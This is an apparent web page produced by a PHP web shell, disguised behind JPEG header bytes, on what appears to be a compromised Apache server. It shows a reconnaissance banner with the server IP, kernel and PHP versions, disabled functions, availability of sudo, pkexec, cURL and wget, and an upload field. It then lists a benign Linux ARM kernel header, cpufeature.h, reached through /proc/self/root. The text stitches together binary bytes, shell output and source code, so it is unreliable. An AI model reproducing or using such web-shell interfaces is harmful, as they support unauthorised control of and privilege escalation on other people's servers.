����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.95 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/lib/modules/5.4.0-163-generic/build/arch/arm/include/asm/ |
Upload File : |
/* SPDX-License-Identifier: GPL-2.0-only */ /* * Copyright (C) 2017 Linaro Ltd. <ard.biesheuvel@linaro.org> */ #ifndef __ASM_CPUFEATURE_H #define __ASM_CPUFEATURE_H #include <linux/log2.h> #include <asm/hwcap.h> /* * Due to the fact that ELF_HWCAP is a 32-bit type on ARM, and given the number * of optional CPU features it defines, ARM's CPU hardware capability bits have * been distributed over separate elf_hwcap and elf_hwcap2 variables, each of * which covers a subset of the available CPU features. * * Currently, only a few of those are suitable for automatic module loading * (which is the primary use case of this facility) and those happen to be all * covered by HWCAP2. So let's only cover those via the cpu_feature() * convenience macro for now (which is used by module_cpu_feature_match()). * However, all capabilities are exposed via the modalias, and can be matched * using an explicit MODULE_DEVICE_TABLE() that uses __hwcap_feature() directly. */ #define MAX_CPU_FEATURES 64 #define __hwcap_feature(x) ilog2(HWCAP_ ## x) #define __hwcap2_feature(x) (32 + ilog2(HWCAP2_ ## x)) #define cpu_feature(x) __hwcap2_feature(x) static inline bool cpu_have_feature(unsigned int num) { return num < 32 ? elf_hwcap & BIT(num) : elf_hwcap2 & BIT(num - 32); } #endif